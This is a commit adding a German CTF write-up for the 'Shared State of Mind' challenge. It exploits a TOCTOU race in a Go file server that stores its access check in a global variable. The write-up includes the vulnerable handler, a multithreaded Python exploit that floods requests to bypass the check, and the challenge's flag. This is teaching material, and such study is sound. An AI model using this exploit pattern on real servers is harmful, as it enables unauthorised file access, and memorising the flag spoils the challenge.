Added writeups
This commit is contained in:
152
de/shared_state_of_mind.md
Normal file
152
de/shared_state_of_mind.md
Normal file
@@ -0,0 +1,152 @@
|
||||
# Shared State of Mind
|
||||
|
||||
Willkommen zum Write-up für **Shared State of Mind**. Diese Challenge ist eine "Web"-Challenge, die in die gefährlichen Gewässer der Nebenläufigkeit in Go eintaucht. Sie demonstriert, warum globaler Zustand in einer nebenläufigen Umgebung (wie einem Webserver) ein Rezept für Desaster ist.
|
||||
|
||||
Uns wird ein "High-Performance File Viewer" präsentiert, der angeblich "Bloatware" wie Mutex-Locks entfernt hat. Unser Ziel ist es, die Datei `flag.txt` zu lesen, die durch eine Sicherheitsprüfung geschützt ist.
|
||||
|
||||
---
|
||||
|
||||
## 1. Erste Erkundung
|
||||
|
||||
Die Challenge stellt eine URL und ein herunterladbares Archiv `shared_state_of_mind.tar.xz` bereit.
|
||||
Die Verbindung zur URL gibt uns eine Dateibetrachter-Schnittstelle (oder API). Wir können Dateien mit `?file=...` anfordern.
|
||||
|
||||
Wenn wir `?file=worker.go` versuchen, erhalten wir den Quellcode.
|
||||
Wenn wir `?file=flag.txt` versuchen, erhalten wir:
|
||||
`Security Check Failed: Forbidden`
|
||||
|
||||
## 2. Quellcode-Analyse
|
||||
|
||||
Das Archiv enthält zwei wichtige Go-Dateien: `gateway.go` und `worker.go`.
|
||||
|
||||
**`gateway.go`**:
|
||||
Dies fungiert als Load Balancer/Proxy. Er weist jedem Benutzer eine eindeutige Sitzung zu und startet einen dedizierten `./worker`-Prozess für diesen Benutzer. Das bedeutet, dass unsere Anfragen an eine spezifische Instanz der Worker-Anwendung gehen, die nur uns zugewiesen ist.
|
||||
|
||||
**`worker.go`**:
|
||||
Hier liegt die Schwachstelle. Schauen wir uns an, wie es Anfragen behandelt:
|
||||
|
||||
```go
|
||||
// GLOBALE VARIABLE
|
||||
var checkPassed bool
|
||||
|
||||
func handler(w http.ResponseWriter, r *http.Request) {
|
||||
filename := r.URL.Query().Get("file")
|
||||
|
||||
// 1. Sicherheitsprüfung
|
||||
if strings.Contains(filename, "flag") {
|
||||
checkPassed = false
|
||||
} else {
|
||||
checkPassed = true
|
||||
}
|
||||
|
||||
// 2. Logging (simuliert Verzögerung)
|
||||
logAccess(filename)
|
||||
|
||||
// 3. Datei ausliefern
|
||||
if checkPassed {
|
||||
content, _ := ioutil.ReadFile(filename)
|
||||
w.Write(content)
|
||||
} else {
|
||||
http.Error(w, "Forbidden", 403)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 3. Die Schwachstelle: Race Condition
|
||||
|
||||
Die Variable `checkPassed` ist als **globale Variable** auf Paketebene definiert.
|
||||
In Go erstellt `http.ListenAndServe` eine neue Goroutine für jede eingehende Anfrage. Das bedeutet, wenn mehrere Anfragen gleichzeitig eingehen, teilen sie sich alle den Zugriff auf die *selbe* `checkPassed`-Variable.
|
||||
|
||||
Dies erzeugt eine **Race Condition** (spezifisch ein Time-of-Check to Time-of-Use Problem):
|
||||
|
||||
1. **Anfrage A (Sicher)** kommt für `worker.go` rein. Sie setzt `checkPassed = true`.
|
||||
2. **Anfrage B (Bösartig)** kommt für `flag.txt` rein. Sie setzt `checkPassed = false`.
|
||||
3. **Anfrage A** pausiert kurz (z.B. während `logAccess` oder Kontextwechsel).
|
||||
4. **Anfrage B** pausiert kurz.
|
||||
5. **Anfrage A** setzt fort und überschreibt potenziell `checkPassed` zurück auf `true`, *nachdem* Anfrage B es auf false gesetzt hatte, aber *bevor* Anfrage B ihre finale Prüfung durchführt.
|
||||
|
||||
Wenn wir das Timing richtig hinbekommen, erreicht Anfrage B (die die Flagge anfordert) die Zeile `if checkPassed` genau in dem Moment, in dem Anfrage A die globale Variable auf `true` gesetzt hat.
|
||||
|
||||
## 4. Ausnutzungsstrategie
|
||||
|
||||
Um dies auszunutzen, müssen wir den Server gleichzeitig mit zwei Arten von Anfragen überfluten, unter Verwendung des **gleichen Session-Cookies** (damit sie denselben Worker-Prozess treffen):
|
||||
|
||||
1. **Sichere Anfragen:** Wiederholt nach einer erlaubten Datei fragen (z.B. `?file=worker.go`). Dies versucht ständig, `checkPassed = true` zu setzen.
|
||||
2. **Bösartige Anfragen:** Wiederholt nach `?file=flag.txt` fragen. Dies versucht, die Flagge zu lesen.
|
||||
|
||||
Wir können ein einfaches Python-Skript mit mehreren Threads verwenden, um dies zu erreichen.
|
||||
|
||||
### Exploit-Skript
|
||||
|
||||
```python
|
||||
import threading
|
||||
import requests
|
||||
import sys
|
||||
import time
|
||||
|
||||
# --- ZIEL-KONFIGURATION ---
|
||||
TARGET_URL = "http://challenge-url:1320/"
|
||||
|
||||
print("[*] Initializing Session...")
|
||||
s = requests.Session()
|
||||
try:
|
||||
s.get(TARGET_URL)
|
||||
except requests.exceptions.ConnectionError:
|
||||
print(f"[-] Could not connect to {TARGET_URL}. Is the docker container running?")
|
||||
sys.exit(1)
|
||||
|
||||
if 'ctf_session' not in s.cookies:
|
||||
print("[-] Failed to get session cookie")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"[+] Session ID: {s.cookies['ctf_session']}")
|
||||
cookie = {'ctf_session': s.cookies['ctf_session']}
|
||||
|
||||
def do_safe():
|
||||
while True:
|
||||
try:
|
||||
requests.get(TARGET_URL + "?file=worker.go", cookies=cookie)
|
||||
except:
|
||||
pass
|
||||
|
||||
def do_exploit():
|
||||
while True:
|
||||
try:
|
||||
r = requests.get(TARGET_URL + "?file=flag.txt", cookies=cookie)
|
||||
if "{flag: " in r.text:
|
||||
print(f"\n\n[SUCCESS] Flag Found: {r.text}\n")
|
||||
sys.exit(0)
|
||||
except:
|
||||
pass
|
||||
|
||||
print("[*] Starting threads... (Press Ctrl+C to stop)")
|
||||
|
||||
# Hohes Volumen an sicheren Threads, um den Schalter umzulegen
|
||||
for i in range(10):
|
||||
t = threading.Thread(target=do_safe)
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
# Exploit-Thread
|
||||
for i in range(1):
|
||||
t = threading.Thread(target=do_exploit)
|
||||
t.daemon = True
|
||||
t.start()
|
||||
|
||||
while True:
|
||||
time.sleep(1)
|
||||
```
|
||||
|
||||
## 5. Die Lösung
|
||||
|
||||
Das Ausführen des Exploit-Skripts gegen das Ziel verursacht eine Race Condition. Innerhalb weniger Sekunden wird eine der bösartigen Anfragen das Rennen "gewinnen" – durch die Prüfung schlüpfen, weil eine gleichzeitige sichere Anfrage den globalen Schalter auf `true` gesetzt hat.
|
||||
|
||||
**Flag:** `{flag: D0nt_Sh4r3_M3m0ry_Just_P4ss_Th3_Fl4g}`
|
||||
|
||||
## Gelernte Lektionen
|
||||
|
||||
* **Vermeide globalen Zustand:** Verwenden Sie niemals globale Variablen, um anfragespezifische Daten in einem Webserver zu speichern. Verwenden Sie lokale Variablen oder übergeben Sie Daten durch den Funktionskontext.
|
||||
* **Nebenläufigkeit ist schwer:** Nur weil Code sequenziell aussieht, heißt das nicht, dass er relativ zu anderen Anfragen sequenziell ausgeführt wird.
|
||||
* **Threadsicherheit:** Wenn Sie geteilten Zustand verwenden müssen, schützen Sie ihn immer mit Synchronisationsprimitiven wie Mutexes, oder besser noch, verwenden Sie Go's Channels, um sicher zu kommunizieren.
|
||||
|
||||
Frohes Hacken!
|
||||
Reference in New Issue
Block a user